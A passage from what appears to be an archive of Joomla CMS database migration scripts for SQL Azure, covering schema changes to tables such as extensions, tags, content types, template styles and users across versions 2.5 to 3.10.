WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON
) ON [PRIMARY]) ON [PRIMARY];

CREATE NONCLUSTERED INDEX "idx_checkout" ON "#__privacy_requests" (
  "checked_out" ASC)
WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);
com_admin/sql/updates/sqlazure/3.3.4-2014-08-03.sql000060400000000126152455305270015026 0ustar00ALTER TABLE [#__user_profiles] ALTER COLUMN [profile_value] [nvarchar](max) NOT NULL;
com_admin/sql/updates/sqlazure/3.4.0-2015-02-26.sql000060400000000777152455305270015037 0ustar00INSERT INTO [#__postinstall_messages] ([extension_id], [title_key], [description_key], [action_key], [language_extension], [language_client_id], [type], [action_file], [action], [condition_file], [condition_method], [version_introduced], [enabled])
SELECT 700, 'COM_CPANEL_MSG_LANGUAGEACCESS340_TITLE', 'COM_CPANEL_MSG_LANGUAGEACCESS340_BODY', '', 'com_cpanel', 1, 'message', '', '', 'admin://components/com_admin/postinstall/languageaccess340.php', 'admin_postinstall_languageaccess340_condition', '3.4.1', 1;
com_admin/sql/updates/sqlazure/3.1.1.sql000060400000000071152455305270013767 0ustar00# Placeholder file for database changes for version 3.1.1com_admin/sql/updates/sqlazure/3.7.0-2016-11-24.sql000060400000000411152455305270015022 0ustar00ALTER TABLE [#__extensions] ADD [package_id] [bigint] NOT NULL DEFAULT 0;

UPDATE [#__extensions]
SET [package_id] = (SELECT [extension_id] FROM [#__extensions] WHERE [type] = 'package' AND [element] = 'pkg_en-GB')
WHERE [type]= 'language' AND [element] = 'en-GB';
com_admin/sql/updates/sqlazure/3.4.0-2014-08-24.sql000060400000000733152455305270015032 0ustar00INSERT INTO [#__postinstall_messages] ([extension_id], [title_key], [description_key], [action_key], [language_extension], [language_client_id], [type], [action_file], [action], [condition_file], [condition_method], [version_introduced], [enabled])
SELECT 700, 'COM_CPANEL_MSG_HTACCESS_TITLE', 'COM_CPANEL_MSG_HTACCESS_BODY', '', 'com_cpanel', 1, 'message', '', '', 'admin://components/com_admin/postinstall/htaccess.php', 'admin_postinstall_htaccess_condition', '3.4.0', 1;
com_admin/sql/updates/sqlazure/2.5.5.sql000060400000000341152455305270013776 0ustar00ALTER TABLE [#__redirect_links] ADD [hits] INTEGER CONSTRAINT DF_redirect_links_hits DEFAULT '' NOT NULL;
ALTER TABLE [#__users] ADD [lastResetTime] [datetime] NOT NULL;
ALTER TABLE [#__users] ADD [resetCount] [int] NOT NULL;com_admin/sql/updates/sqlazure/3.7.0-2017-02-02.sql000060400000000707152455305270015027 0ustar00SET IDENTITY_INSERT #__extensions  ON;

INSERT INTO #__extensions ([extension_id], [name], [type], [element], [folder], [client_id], [enabled], [access], [protected], [manifest_cache], [params], [custom_data], [system_data], [checked_out], [checked_out_time], [ordering], [state])
SELECT 478, 'plg_editors-xtd_fields', 'plugin', 'fields', 'editors-xtd', 0, 1, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0;

SET IDENTITY_INSERT #__extensions  OFF;
com_admin/sql/updates/sqlazure/3.8.0-2017-07-28.sql000060400000000110152455305270015031 0ustar00ALTER TABLE [#__fields_groups] ADD [params] [text] NOT NULL DEFAULT '';
com_admin/sql/updates/sqlazure/3.2.2-2013-12-28.sql000060400000000254152455305270015026 0ustar00UPDATE [#__menu] SET [component_id] = (SELECT [extension_id] FROM [#__extensions] WHERE [element] = 'com_joomlaupdate') WHERE [link] = 'index.php?option=com_joomlaupdate';
com_admin/sql/updates/sqlazure/3.2.2-2014-01-18.sql000060400000000144152455305270015022 0ustar00/* Update updates version length */
ALTER TABLE [#__updates] ALTER COLUMN [version] [nvarchar](32);
com_admin/sql/updates/sqlazure/3.8.6-2018-02-14.sql000060400000002017152455305270015036 0ustar00INSERT INTO "#__extensions" ("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(480, 0, 'plg_system_sessiongc', 'plugin', 'sessiongc', 'system', 0, 1, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0);

INSERT INTO "#__postinstall_messages" ("extension_id", "title_key", "description_key", "action_key", "language_extension", "language_client_id", "type", "action_file", "action", "condition_file", "condition_method", "version_introduced", "enabled")
VALUES
(700, 'PLG_PLG_RECAPTCHA_VERSION_1_POSTINSTALL_TITLE', 'PLG_PLG_RECAPTCHA_VERSION_1_POSTINSTALL_BODY', 'PLG_PLG_RECAPTCHA_VERSION_1_POSTINSTALL_ACTION', 'plg_captcha_recaptcha', 1, 'action', 'site://plugins/captcha/recaptcha/postinstall/actions.php', 'recaptcha_postinstall_action', 'site://plugins/captcha/recaptcha/postinstall/actions.php', 'recaptcha_postinstall_condition', '3.8.6', 1);
com_admin/sql/updates/sqlazure/3.9.0-2018-08-12.sql000060400000000115152455305270015032 0ustar00ALTER TABLE "#__privacy_consents" ADD "state" "smallint" NOT NULL DEFAULT 1;
com_admin/sql/updates/sqlazure/3.6.3-2016-08-15.sql000060400000000206152455305270015034 0ustar00--
-- Increasing size of the URL field in com_newsfeeds
--

ALTER TABLE [#__newsfeeds] ALTER COLUMN [link] [nvarchar](2048) NOT NULL;
com_admin/sql/updates/sqlazure/3.7.0-2016-08-22.sql000060400000000710152455305270015030 0ustar00SET IDENTITY_INSERT [#__extensions]  ON;

INSERT INTO [#__extensions] ([extension_id], [name], [type], [element], [folder], [client_id], [enabled], [access], [protected], [manifest_cache], [params], [custom_data], [system_data], [checked_out], [checked_out_time], [ordering], [state])
SELECT 459, 'plg_editors-xtd_menu', 'plugin', 'menu', 'editors-xtd', 0, 1, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0;

SET IDENTITY_INSERT [#__extensions]  OFF;com_admin/sql/updates/sqlazure/3.0.0.sql000060400000000072152455305270013766 0ustar00# Placeholder file for database changes for version 3.0.0
com_admin/sql/updates/sqlazure/3.9.0-2018-05-27.sql000060400000001131152455305270015034 0ustar00SET IDENTITY_INSERT "#__extensions" ON;

INSERT INTO "#__extensions" ("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(486, 0, 'plg_system_logrotation', 'plugin', 'logrotation', 'system', 0, 1, 1, 0, '', '{}', '', '', 0, '1900-01-01 00:00:00', 0, 0),
(487, 0, 'plg_privacy_user', 'plugin', 'user', 'privacy', 0, 1, 1, 0, '', '{}', '', '', 0, '1900-01-01 00:00:00', 0, 0);

SET IDENTITY_INSERT "#__extensions" OFF;
com_admin/sql/updates/sqlazure/3.9.22-2020-09-16.sql000060400000000546152455305270015124 0ustar00INSERT INTO [#__postinstall_messages] ([extension_id], [title_key], [description_key], [action_key], [language_extension], [language_client_id], [type], [version_introduced], [enabled])
VALUES
(700, 'COM_ADMIN_POSTINSTALL_MSG_HTACCESS_AUTOINDEX_TITLE', 'COM_ADMIN_POSTINSTALL_MSG_HTACCESS_AUTOINDEX_DESCRIPTION', '', 'com_admin', 1, 'message', '3.9.22', 1);
com_admin/sql/updates/sqlazure/3.8.4-2018-01-16.sql000060400000000210152455305270015026 0ustar00ALTER TABLE [#__user_keys] DROP CONSTRAINT [#__user_keys$series_2];
ALTER TABLE [#__user_keys] DROP CONSTRAINT [#__user_keys$series_3];
com_admin/sql/updates/sqlazure/3.9.10-2019-07-09.sql000060400000000212152455305270015117 0ustar00ALTER TABLE [#__template_styles] ALTER COLUMN [home] nvarchar(7) NOT NULL;
ALTER TABLE [#__template_styles] ADD DEFAULT ('0') FOR [home];
com_admin/sql/updates/sqlazure/3.9.0-2018-05-20.sql000060400000000733152455305270015034 0ustar00SET IDENTITY_INSERT "#__extensions" ON;

INSERT INTO "#__extensions" ("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(319, 0, 'mod_latestactions', 'module', 'mod_latestactions', '', 1, 1, 1, 0, '', '{}', '', '', 0, '1900-01-01 00:00:00', 0, 0);

SET IDENTITY_INSERT "#__extensions" OFF;
com_admin/sql/updates/sqlazure/3.2.2-2014-01-23.sql000060400000000661152455305270015022 0ustar00SET IDENTITY_INSERT [#__extensions] ON;

INSERT INTO [#__extensions] ([extension_id], [name], [type], [element], [folder], [client_id], [enabled], [access], [protected], [manifest_cache], [params], [custom_data], [system_data], [checked_out], [checked_out_time], [ordering], [state])
SELECT 106, 'PHPass', 'library', 'phpass', '', 0, 1, 1, 1, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0;

SET IDENTITY_INSERT [#__extensions] OFF;
com_admin/sql/updates/sqlazure/3.7.0-2017-03-09.sql000060400000001401152455305270015027 0ustar00UPDATE "#__categories" SET published = 1 WHERE alias = 'root';
UPDATE "c"
SET published = c2.newPublished
FROM "#__categories" AS "c"
INNER JOIN (
SELECT c2.id,CASE WHEN MIN(p.published) > 0 THEN MAX(p.published) ELSE MIN(p.published) END AS newPublished
FROM "#__categories" AS "c2"
INNER JOIN "#__categories" AS "p" ON p.lft <= c2.lft AND c2.rgt <= p.rgt
GROUP BY c2.id) AS c2 ON c2.id = c.id;

UPDATE "#__menu" SET published = 1 WHERE alias = 'root';
UPDATE "c"
SET published = c2.newPublished
FROM "#__menu" AS "c"
INNER JOIN (
SELECT c2.id,CASE WHEN MIN(p.published) > 0 THEN MAX(p.published) ELSE MIN(p.published) END AS newPublished
FROM "#__menu" AS "c2"
INNER JOIN "#__menu" AS "p" ON p.lft <= c2.lft AND c2.rgt <= p.rgt
GROUP BY c2.id) AS c2 ON c2.id = c.id;
com_admin/sql/updates/sqlazure/3.9.0-2018-08-29.sql000060400000001042152455305270015042 0ustar00SET IDENTITY_INSERT "#__extensions" ON;

INSERT INTO "#__extensions" ("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(494, 0, 'plg_captcha_recaptcha_invisible', 'plugin', 'recaptcha_invisible', 'captcha', 0, 0, 1, 0, '', '{"public_key":"","private_key":"","theme":"clean"}', '', '', 0, '1900-01-01 00:00:00', 0, 0);

SET IDENTITY_INSERT "#__extensions" OFF;
com_admin/sql/updates/sqlazure/3.2.1.sql000060400000000150152455305270013766 0ustar00DELETE FROM [#__postinstall_messages] WHERE [title_key] = 'PLG_USER_JOOMLA_POSTINSTALL_STRONGPW_TITLE';
com_admin/sql/updates/sqlazure/3.10.7-2022-03-18.sql000060400000000117152455305270015107 0ustar00ALTER TABLE [#__users] ADD [authProvider] [nvarchar](100) NOT NULL DEFAULT '';
com_admin/sql/updates/sqlazure/3.7.0-2017-02-15.sql000060400000000162152455305270015026 0ustar00-- Normalize redirect_links table default values.
ALTER TABLE [#__redirect_links] ADD DEFAULT ('') FOR [comment];
com_admin/sql/updates/sqlazure/3.5.0-2015-10-30.sql000060400000000171152455305270015016 0ustar00UPDATE [#__menu] SET [title] = 'com_contact_contacts' WHERE [client_id] = 1 AND [level] = 2 AND [title] = 'com_contact';
com_admin/sql/updates/sqlazure/2.5.2-2012-03-05.sql000060400000000046152455305270015021 0ustar00# Dummy SQL file to set schema versioncom_admin/sql/updates/sqlazure/3.5.0-2015-10-26.sql000060400000000234152455305270015023 0ustar00DROP INDEX [idx_tag_name] ON [#__contentitem_tag_map];
DROP INDEX [idx_tag] ON [#__contentitem_tag_map];
DROP INDEX [idx_type] ON [#__contentitem_tag_map];
com_admin/sql/updates/sqlazure/3.9.8-2019-06-15.sql000060400000001056152455305270015051 0ustar00DROP INDEX [idx_home] ON [#__template_styles];
# Query removed, see https://github.com/joomla/joomla-cms/pull/25484
CREATE NONCLUSTERED INDEX [idx_client_id] ON [#__template_styles]
(
  [client_id] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);
CREATE NONCLUSTERED INDEX [idx_client_id_home] ON [#__template_styles]
(
  [client_id] ASC,
  [home] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);
ALTER TABLE [#__template_styles] ADD DEFAULT (0) FOR [home];
com_admin/sql/updates/sqlazure/3.6.0-2016-06-05.sql000060400000000162152455305270015027 0ustar00--
-- Add ACL check for to #__languages
--

ALTER TABLE [#__languages] ADD [asset_id] [bigint] NOT NULL DEFAULT 0;com_admin/sql/updates/sqlazure/3.1.0.sql000060400000052725152455305270014003 0ustar00/* Changes to Smart Search tables for driver compatibility */
ALTER TABLE [#__finder_tokens_aggregate] ALTER COLUMN [term_id] [bigint] NULL;
ALTER TABLE [#__finder_tokens_aggregate] ALTER COLUMN [map_suffix] [nchar](1) NULL;
ALTER TABLE [#__finder_tokens_aggregate] ADD DEFAULT ((0)) FOR [term_id];
ALTER TABLE [#__finder_tokens_aggregate] ADD DEFAULT ((0)) FOR [total_weight];

/* Changes to tables where data type conflicts exist with MySQL (mainly dealing with null values */
ALTER TABLE [#__extensions] ADD DEFAULT (N'') FOR [system_data];
ALTER TABLE [#__modules] ADD DEFAULT (N'') FOR [content];
ALTER TABLE [#__updates] ADD DEFAULT (N'') FOR [data];

/* Tags database schema */

/****** Object:  Table [#__content_types] ******/
SET QUOTED_IDENTIFIER ON;

CREATE TABLE [#__content_types] (
	[type_id] [bigint] IDENTITY(1,1) NOT NULL,
	[type_title] [nvarchar](255) NOT NULL DEFAULT '',
	[type_alias] [nvarchar](255) NOT NULL DEFAULT '',
	[table] [nvarchar](255) NOT NULL DEFAULT '',
	[rules] [nvarchar](max) NOT NULL,
	[field_mappings] [nvarchar](max) NOT NULL,
	[router] [nvarchar](255) NOT NULL DEFAULT '',
 CONSTRAINT [PK_#__content_types_type_id] PRIMARY KEY CLUSTERED
(
	[type_id] ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
) ON [PRIMARY];

CREATE NONCLUSTERED INDEX [idx_alias] ON [#__content_types]
(
	[type_alias] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

SET IDENTITY_INSERT [#__content_types] ON;

INSERT INTO [#__content_types] ([type_id], [type_title], [type_alias], [table], [rules], [field_mappings], [router])
SELECT 1, 'Article', 'com_content.article', '{"special":{"dbtable":"#__content","key":"id","type":"Content","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__core_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":[{"core_content_item_id":"id","core_title":"title","core_state":"state","core_alias":"alias","core_created_time":"created","core_modified_time":"modified","core_body":"introtext", "core_hits":"hits","core_publish_up":"publish_up","core_publish_down":"publish_down","core_access":"access", "core_params":"attribs", "core_featured":"featured", "core_metadata":"metadata", "core_language":"language", "core_images":"images", "core_urls":"urls", "core_version":"version", "core_ordering":"ordering", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"catid", "core_xreference":"xreference", "asset_id":"asset_id"}], "special": [{"fulltext":"fulltext"}]}', 'ContentHelperRoute::getArticleRoute'
UNION ALL
SELECT 2, 'Contact', 'com_contact.contact', '{"special":{"dbtable":"#__contact_details","key":"id","type":"Contact","prefix":"ContactTable","config":"array()"},"common":{"dbtable":"#__core_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":[{"core_content_item_id":"id","core_title":"name","core_state":"published","core_alias":"alias","core_created_time":"created","core_modified_time":"modified","core_body":"address", "core_hits":"hits","core_publish_up":"publish_up","core_publish_down":"publish_down","core_access":"access", "core_params":"params", "core_featured":"featured", "core_metadata":"metadata", "core_language":"language", "core_images":"image", "core_urls":"webpage", "core_version":"version", "core_ordering":"ordering", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"catid", "core_xreference":"xreference", "asset_id":"null"}], "special": [{"con_position":"con_position","suburb":"suburb","state":"state","country":"country","postcode":"postcode","telephone":"telephone","fax":"fax","misc":"misc","email_to":"email_to","default_con":"default_con","user_id":"user_id","mobile":"mobile","sortname1":"sortname1","sortname2":"sortname2","sortname3":"sortname3"}]}', 'ContactHelperRoute::getContactRoute'
UNION ALL
SELECT 3, 'Newsfeed', 'com_newsfeeds.newsfeed', '{"special":{"dbtable":"#__newsfeeds","key":"id","type":"Newsfeed","prefix":"NewsfeedsTable","config":"array()"},"common":{"dbtable":"#__core_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":[{"core_content_item_id":"id","core_title":"name","core_state":"published","core_alias":"alias","core_created_time":"created","core_modified_time":"modified","core_body":"description", "core_hits":"hits","core_publish_up":"publish_up","core_publish_down":"publish_down","core_access":"access", "core_params":"params", "core_featured":"featured", "core_metadata":"metadata", "core_language":"language", "core_images":"images", "core_urls":"link", "core_version":"version", "core_ordering":"ordering", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"catid", "core_xreference":"xreference", "asset_id":"null"}], "special": [{"numarticles":"numarticles","cache_time":"cache_time","rtl":"rtl"}]}', 'NewsfeedsHelperRoute::getNewsfeedRoute'
UNION ALL
SELECT 4, 'User', 'com_users.user', '{"special":{"dbtable":"#__users","key":"id","type":"User","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__core_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":[{"core_content_item_id":"id","core_title":"name","core_state":"null","core_alias":"username","core_created_time":"registerdate","core_modified_time":"lastvisitDate","core_body":"null", "core_hits":"null","core_publish_up":"null","core_publish_down":"null","access":"null", "core_params":"params", "core_featured":"null", "core_metadata":"null", "core_language":"null", "core_images":"null", "core_urls":"null", "core_version":"null", "core_ordering":"null", "core_metakey":"null", "core_metadesc":"null", "core_catid":"null", "core_xreference":"null", "asset_id":"null"}], "special": [{}]}', 'UsersHelperRoute::getUserRoute'
UNION ALL
SELECT 5, 'Article Category', 'com_content.category', '{"special":{"dbtable":"#__categories","key":"id","type":"Category","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__core_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":[{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description", "core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access", "core_params":"params", "core_featured":"null", "core_metadata":"metadata", "core_language":"language", "core_images":"null", "core_urls":"null", "core_version":"version", "core_ordering":"null", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"parent_id", "core_xreference":"null", "asset_id":"asset_id"}], "special": [{"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path","extension":"extension","note":"note"}]}', 'ContentHelperRoute::getCategoryRoute'
UNION ALL
SELECT 6, 'Contact Category', 'com_contact.category', '{"special":{"dbtable":"#__categories","key":"id","type":"Category","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__core_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":[{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description", "core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access", "core_params":"params", "core_featured":"null", "core_metadata":"metadata", "core_language":"language", "core_images":"null", "core_urls":"null", "core_version":"version", "core_ordering":"null", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"parent_id", "core_xreference":"null", "asset_id":"asset_id"}], "special": [{"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path","extension":"extension","note":"note"}]}', 'ContactHelperRoute::getCategoryRoute'
UNION ALL
SELECT 7, 'Newsfeeds Category', 'com_newsfeeds.category', '{"special":{"dbtable":"#__categories","key":"id","type":"Category","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__core_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":[{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description", "core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access", "core_params":"params", "core_featured":"null", "core_metadata":"metadata", "core_language":"language", "core_images":"null", "core_urls":"null", "core_version":"version", "core_ordering":"null", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"parent_id", "core_xreference":"null", "asset_id":"asset_id"}], "special": [{"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path","extension":"extension","note":"note"}]}', 'NewsfeedsHelperRoute::getCategoryRoute'
UNION ALL
SELECT 8, 'Tag', 'com_tags.tag', '{"special":{"dbtable":"#__tags","key":"tag_id","type":"Tag","prefix":"TagsTable","config":"array()"},"common":{"dbtable":"#__core_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":[{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description", "core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access", "core_params":"params", "core_featured":"featured", "core_metadata":"metadata", "core_language":"language", "core_images":"images", "core_urls":"urls", "core_version":"version", "core_ordering":"null", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"null", "core_xreference":"null", "asset_id":"null"}], "special": [{"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path"}]}', 'TagsHelperRoute::getTagRoute';

SET IDENTITY_INSERT [#__content_types] OFF;

/****** Object:  Table [#__contentitem_tag_map] ******/
SET QUOTED_IDENTIFIER ON;

CREATE TABLE [#__contentitem_tag_map] (
	[type_alias] [nvarchar](255) NOT NULL DEFAULT '',
	[core_content_id] [bigint] NOT NULL,
	[content_item_id] [int] NOT NULL,
	[tag_id] [bigint] NOT NULL,
	[tag_date] [datetime] NOT NULL DEFAULT '1900-01-01T00:00:00.000',
 CONSTRAINT [#__contentitem_tag_map$uc_ItemnameTagid] UNIQUE NONCLUSTERED
(
	[type_alias] ASC,
	[content_item_id] ASC,
	[tag_id] ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
) ON [PRIMARY];

CREATE NONCLUSTERED INDEX [idx_tag_name] ON [#__contentitem_tag_map]
(
	[tag_id] ASC,
	[type_alias] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [idx_date_id] ON [#__contentitem_tag_map]
(
	[tag_date] ASC,
	[tag_id] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [idx_tag] ON [#__contentitem_tag_map]
(
	[tag_id] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [idx_core_content_id] ON [#__contentitem_tag_map]
(
	[core_content_id] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

/****** Object:  Table [#__tags] ******/
SET QUOTED_IDENTIFIER ON;

CREATE TABLE [#__tags] (
  [id] [int] IDENTITY(1,1) NOT NULL ,
  [parent_id] [bigint] NOT NULL DEFAULT '0',
  [lft] [int] NOT NULL DEFAULT '0',
  [rgt] [int] NOT NULL DEFAULT '0',
  [level] [bigint] NOT NULL DEFAULT '0',
  [path] [nvarchar](255) NOT NULL DEFAULT '',
  [title] [nvarchar](255) NOT NULL,
  [alias] [nvarchar](255) NOT NULL DEFAULT '',
  [note] [nvarchar](255) NOT NULL DEFAULT '',
  [description] [nvarchar](max) NOT NULL,
  [published] [smallint] NOT NULL DEFAULT '0',
  [checked_out] [bigint] NOT NULL DEFAULT '0',
  [checked_out_time] [datetime] NOT NULL DEFAULT '1900-01-01T00:00:00.000',
  [access] [int] NOT NULL DEFAULT '0',
  [params] [nvarchar](max) NOT NULL,
  [metadesc] [nvarchar](1024) NOT NULL,
  [metakey] [nvarchar](1024) NOT NULL,
  [metadata] [nvarchar](2048) NOT NULL,
  [created_user_id] [bigint] NOT NULL DEFAULT '0',
  [created_time] [datetime] NOT NULL DEFAULT '1900-01-01T00:00:00.000',
  [created_by_alias] [nvarchar](255) NOT NULL DEFAULT '',
  [modified_user_id] [bigint] NOT NULL DEFAULT '0',
  [modified_time] [datetime] NOT NULL DEFAULT '1900-01-01T00:00:00.000',
  [images] [nvarchar](max) NOT NULL,
  [urls] [nvarchar](max) NOT NULL,
  [hits] [bigint] NOT NULL DEFAULT '0',
  [language] [nvarchar](7) NOT NULL,
  [version] [bigint] NOT NULL DEFAULT '1',
  [publish_up] [datetime] NOT NULL DEFAULT '1900-01-01T00:00:00.000',
  [publish_down] [datetime] NOT NULL DEFAULT '1900-01-01T00:00:00.000',
  CONSTRAINT [PK_#__tags_id] PRIMARY KEY CLUSTERED
    (
      [id] ASC
    )WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
) ON [PRIMARY];

CREATE NONCLUSTERED INDEX [tag_idx] ON [#__tags]
(
  [published] ASC,
  [access] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [idx_access] ON [#__tags]
(
  [access] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [idx_checkout] ON [#__tags]
(
  [checked_out] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [idx_path] ON [#__tags]
(
  [path] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [idx_left_right] ON [#__tags]
(
  [lft] ASC,
  [rgt] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [idx_alias] ON [#__tags]
(
  [alias] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [idx_language] ON [#__tags]
(
  [language] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

SET IDENTITY_INSERT [#__tags] ON;

INSERT INTO [#__tags] ([id], [parent_id], [lft], [rgt], [level], [path], [title], [alias], [note], [description], [published], [checked_out], [checked_out_time], [access], [params], [metadesc], [metakey], [metadata], [created_user_id], [created_time], [modified_user_id], [modified_time], [images], [urls], [hits], [language])
SELECT 1, 0, 0, 1, 0, '', 'ROOT', 'root', '', '', 1, 0, '1900-01-01 00:00:00', 1, '{}', '', '', '', 0, '2009-10-18 16:07:09', 0, '1900-01-01 00:00:00', '', '', 0, '*';

SET IDENTITY_INSERT [#__tags] OFF;

/****** Object:  Table [#__ucm_base] ******/
SET QUOTED_IDENTIFIER ON;

CREATE TABLE [#__ucm_base] (
  [ucm_id] [bigint] IDENTITY(1,1) NOT NULL,
  [ucm_item_id] [bigint] NOT NULL,
  [ucm_type_id] [bigint] NOT NULL,
  [ucm_language_id] [bigint] NOT NULL,
  CONSTRAINT [PK_#__ucm_base_ucm_id] PRIMARY KEY CLUSTERED
    (
      [ucm_id] ASC
    )WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY],
) ON [PRIMARY];

CREATE NONCLUSTERED INDEX [ucm_item_id] ON [#__ucm_base]
(
  [ucm_item_id] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [ucm_type_id] ON [#__ucm_base]
(
  [ucm_type_id] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [ucm_language_id] ON [#__ucm_base]
(
  [ucm_language_id] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

/****** Object:  Table [#__ucm_content] ******/
SET QUOTED_IDENTIFIER ON;

CREATE TABLE [#__ucm_content] (
  [core_content_id] [bigint] IDENTITY(1,1) NOT NULL,
